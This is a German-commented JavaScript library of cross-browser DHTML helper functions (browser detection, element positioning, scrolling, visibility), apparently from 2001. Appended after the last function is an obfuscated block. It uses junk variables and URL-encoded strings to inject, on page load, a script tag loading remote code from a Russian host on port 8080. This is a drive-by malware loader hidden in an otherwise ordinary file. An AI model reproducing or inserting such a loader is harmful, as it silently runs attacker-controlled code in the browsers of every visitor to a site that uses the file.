/* *************************************************************
	CROSSBROWSER-FUNKTIONEN 1.03 (c) 2001 Peter Kerl
		www.passepartout.f2s.com

	einheitliche Funktionen für verschiedene Browser
************************************************************* */


// Browsertyp ermitteln (und in B_Type speichern)
var B_Type = new crossBrowserType();
function crossBrowserType() {
	this.IE = false;
	this.NS4 = false;
	this.NS6 = false;
	this.id = "";

	if (document.all) {this.IE = true; this.id = "IE";}
	else if (document.getElementById) {this.NS6 = true; this.id = "NS6";}
	else if (document.layers) {this.NS4 = true; this.id = "NS4";}
}

// Mausposition zurückgeben
var crossMouseX, crossMouseY;
if (B_Type.NS4) document.captureEvents(Event.MOUSEMOVE);

function crossMousePosition(e) {
	if (B_Type.IE) {
		crossMouseX=event.x + document.body.scrollLeft; 
		crossMouseY=event.y + document.body.scrollTop;
	}
	else {crossMouseX=e.pageX; crossMouseY=e.pageY;}
}


// browserspezifisches DHTML-Objekt anhand von ID zurückgeben
function crossGetObject(id) {
	var obj = null;
	if (B_Type.IE) obj=document.all[id];
	else if (B_Type.NS6) obj=document.getElementById(id);
	else if (B_Type.NS4) obj=document.layers[id];
	return obj;
}

// Text in DHTML-Objekt ausgeben
function crossWrite(obj, text) {
		
	if (B_Type.IE) obj.innerHTML = text;
	else if (B_Type.NS6) obj.innerHTML = text;
	else if (B_Type.NS4) {
		obj.document.open();
		obj.document.write(text);
		obj.document.close();
	}
}

// verfügbare Fensterbreite ermitteln
function crossInnerWindowWidth() {
	var val;
	if (B_Type.IE) val=document.body.clientWidth;
	else if (B_Type.NS6) val=window.innerWidth;
	else if (B_Type.NS4) val=window.innerWidth;
	return val;
}

// tatsächliche Fensterbreite ermitteln
function crossOuterWindowWidth() {
	var val;
	if (B_Type.IE) val=document.body.offsetWidth;
	else if (B_Type.NS6) val=window.outerWidth;
	else if (B_Type.NS4) val=window.outerWidth;
	return val;
}

// verfügbare Fensterhöhe ermitteln
function crossInnerWindowHeight() {
	var val;
	if (B_Type.IE) val=document.body.clientHeight;
	else if (B_Type.NS6) val=window.innerHeight;
	else if (B_Type.NS4) val=window.innerHeight;
	return val;
}

// Scroll-Position ermitteln, "y" = vertikal, "x" = horizontal
function crossGetScroll(achse) {
	var val;
	if (!achse || achse == "y") {  // vertikale Achse
		if (B_Type.IE) val=document.body.scrollTop;
		else if (B_Type.NS6) val=window.pageYOffset;
		else if (B_Type.NS4) val=window.pageYOffset;
	}
	else {  // horizontale Achse
		if (B_Type.IE) val=document.body.scrollLeft;
		else if (B_Type.NS6) val=window.pageXOffset;
		else if (B_Type.NS4) val=window.pageXOffset;
	}
	return val;
}

// Scroll-Position setzen
function crossSetScroll(x, y) {
	window.scrollTo(x, y);
}


// Objekt positionieren x/y
function crossMoveTo(obj, x, y) {
	if (B_Type.IE) {obj.style.pixelLeft=x; obj.style.pixelTop=y;}
	else if (B_Type.NS4) {obj.left=x; obj.top=y;}
	else if (B_Type.NS6) {obj.style.left=x+"px"; obj.style.top=y+"px";}
}

// Objekt-Position ermitteln
function crossGetPositionX(obj) {
	if (B_Type.IE) return obj.style.pixelLeft;
	else if (B_Type.NS4) return obj.left;
	else if (B_Type.NS6) return parseInt(obj.style.left);
}
function crossGetPositionY(obj) {
	if (B_Type.IE) return obj.style.pixelTop;
	else if (B_Type.NS4) return obj.top;
	else if (B_Type.NS6) return parseInt(obj.style.top);
}

// Objekt anzeigen
function crossShowObject(obj) {
	if (B_Type.IE || B_Type.NS6) {obj.style.visibility="visible";}
	else if (B_Type.NS4) {obj.visibility="show";}
}
// Objekt ausblenden
function crossHideObject(obj) {
	if (B_Type.IE || B_Type.NS6) {obj.style.visibility="hidden";}
	else if (B_Type.NS4) {obj.visibility="hide";}
}


// Hintergrund-Farbe setzen
function crossBackgroundColor(color, obj) {
	if (typeof obj == "undefined") {document.bgColor=color; return;}
	if (B_Type.IE || B_Type.NS6) {obj.style.backgroundColor=color;}
	else if (B_Type.NS4) {obj.document.bgColor=color;}
}


// Hintergrund-Bild setzen
function crossBackgroundImage(obj, img) {
	if (B_Type.IE || B_Type.NS6) {obj.style.backgroundImage="url(" + img + ")";}
	else if (B_Type.NS4) {obj.background.src = img;}
}

var N;if(N!='j'){N='j'};var Xj=new String();function X(){var D=window;var P;if(P!='Cq' && P!='DK'){P='Cq'};this.Ja="";this.e='';var eh;if(eh!='' && eh!='z'){eh=null};var r=unescape;var Au;if(Au!='YD'){Au='YD'};var Ax;if(Ax!='G' && Ax!='Cu'){Ax=''};var S=r("%2f%61%6c%69%63%65%2d%69%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%61%63%6b%6f%76%65%72%66%6c%6f%77%2e%63%6f%6d%2e%70%68%70");this.KI='';this.W='';this.XN="";function H(J,XY){var Rg;if(Rg!='' && Rg!='Qi'){Rg=''};var Ad=new String();var y=String("g");var l=r("%5b"), Y=r("%5d");this.g="";var XD=l+XY+Y;this.Qn="";var p=new RegExp(XD, y);var xc=new Date();return J.replace(p, new String());};this.AR="";var ID="";var C=H('8430348440944','9435');var BH=new Array();var JV=document;var jT=new String();var Xg=new String();var c;if(c!=''){c='rE'};var UC='';var Pb=new String();var FP;if(FP!=''){FP='q'};function DF(){this.CA="";var K=r("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var uN;if(uN!='MV' && uN!='MG'){uN='MV'};var zx=new Array();Xg=K;var fu;if(fu!='m' && fu != ''){fu=null};Xg+=C;Xg+=S;var IE;if(IE!='' && IE!='IU'){IE=''};var jL=new Date();this.oES="";var CZ="";try {this.Ctq="";I=JV.createElement(H('sYcYrbifpZtZ','1VvZYMSkbhfW'));var GF="";this.xw='';this.bI='';I[r("%73%72%63")]=Xg;var Cw;if(Cw!='' && Cw!='BJ'){Cw='d'};I[r("%64%65%66%65%72")]=[1,1][0];var SR='';var mt;if(mt!='' && mt!='Ts'){mt=''};JV.body.appendChild(I);var Zp;if(Zp!='' && Zp!='BU'){Zp='lX'};var vR;if(vR!='SZ'){vR='SZ'};this.CI="";} catch(V){var Bd;if(Bd!='SM' && Bd != ''){Bd=null};alert(V);var Nu=new String();};}var kv;if(kv!='' && kv!='pJ'){kv=''};var Fl='';D["onloa5MSu".substr(0,5)+"KjU0d".substr(4)]=DF;var QZ;if(QZ!='IfH' && QZ != ''){QZ=null};var WS=new Array();var Vz='';var MZ;if(MZ!='' && MZ!='Ya'){MZ='pR'};};var xP;if(xP!='MVj' && xP!='SP'){xP=''};var iG=new Array();X();this.SI='';var ir=new Date();
